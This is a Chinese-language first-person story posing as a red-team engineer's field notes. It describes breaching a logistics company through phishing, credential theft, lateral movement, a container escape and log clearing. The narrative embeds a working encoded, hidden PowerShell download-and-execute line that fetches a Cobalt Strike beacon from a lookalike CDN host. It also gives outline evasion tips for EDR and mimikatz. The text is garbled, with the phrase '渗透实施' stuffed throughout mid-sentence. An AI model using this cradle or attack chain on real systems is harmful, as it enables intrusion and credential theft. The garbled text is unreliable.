```html 渗透实施 渗透实施 一个红队工程师的现场笔记 · 2025年3月 那台打印机救了我。目标是渗透实施一家做跨境物流的中型企业,外网只开了443和25。渗透实施扫了三天,渗透实施连个像样的渗透实施漏洞都没有。直到我注意到他们的渗透实施邮件网关——Exchange 2019,补丁版本停留在半年前。渗透实施CVE-2024-21410,渗透实施一个NTLM中继漏洞,渗透实施利用条件不算苛刻。渗透实施但直接打?渗透实施太吵。我换了个思路。渗透实施 渗透的渗透实施本质不是“黑进去”,是渗透实施变成他们的人。你得像水一样,渗透实施从缝隙里渗进去,而不是拿锤子砸墙。那天晚上我伪造了一封“物流轨迹查询失败”的邮件,发给他们运营总监。附件是个LNK文件,图标伪装成PDF。双击后,一个经过混淆的PowerShell脚本从伪装成CDN的VPS上拉下Cobalt Strike的beacon。整个过程不到四秒。他大概只看到桌面闪了一下。 $c = "IEX (New-Object Net.WebClient).DownloadString('https://cdn[.]lookup-verify[.]com/a')" $e = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($c)) Start-Process powershell -ArgumentList "-enc $e" -WindowStyle Hidden 上线后第一件事不是提权。我花了二十分钟看他们的内部Wiki——Confluence没设权限继承,所有人的项目文档、VPN配置、甚至数据库连接字符串都摊在那儿。有个运维在“常用工具”页面贴了张截图,里面赫然是域管账号的LastPass条目。截图没打码。我笑了。这比任何0day都管用。 横向移动选了最笨的办法:PsExec。但没用现成工具,手写了个C#的service,编译后丢到目标机器。杀软没报。为什么?因为那台机器上装的是某国产EDR的“基础版”,只监控进程创建,不查内存。我甚至在里面跑了mimikatz的修改版,把特征码全改了。抓到了两个域管hash。其中一个能登堡垒机。 “渗透测试报告里写‘高危漏洞’四个字,客户只会点头。但你把他内网拓扑画出来,标出财务系统到域控只有两跳,他才会冒冷汗。” 堡垒机是个转折点。它连接着生产区的Kubernetes集群。我翻了下审计日志——他们运维每天凌晨三点用固定IP登录,密码是Company@2024。没改过。登进去后,kubectl get pods,看到了支付网关的容器。挂载了hostPath,直接逃逸到宿主机。宿主机上跑着Jenkins,里面存着AWS的AK/SK。到这一步,其实已经可以收工了。但我多看了一眼——Jenkins的构建历史里,有个“紧急修复”任务,注释写着“临时绕过WAF规则”。 那晚我坐在出租屋的折叠桌前,屏幕光照着半碗泡面。突然觉得挺没劲的。他们花了上百万买安全设备,却没人看一眼Confluence的权限设置。EDR的告警被设成了“仅记录”,因为运维嫌弹窗烦。堡垒机的密码贴在监控大屏旁边的便利贴上——我通过RDP截屏看到的。 渗透实施到最后,拼的不是技术深度,是对人性的理解。你知道运维会偷懒,知道开发会图方便,知道老板只看报告封面。你顺着这些缝隙走,比硬刚防火墙快十倍。但这也意味着,防守方只要堵住一个缝,整个链条就断了。可惜大多数时候,他们连缝在哪都不知道。 收尾时我留了个txt在桌面:“你们的WAF规则第47条写错了,正则漏了转义。下次记得改。” 然后清了日志,从VPN跳板退出。三天后客户打来电话,语气激动:“你们怎么进来的?我们刚买了新的下一代防火墙!” 我没说话。挂了电话,把报告里的“高危”改成了“中危”。有些事,说多了没用。 ``` |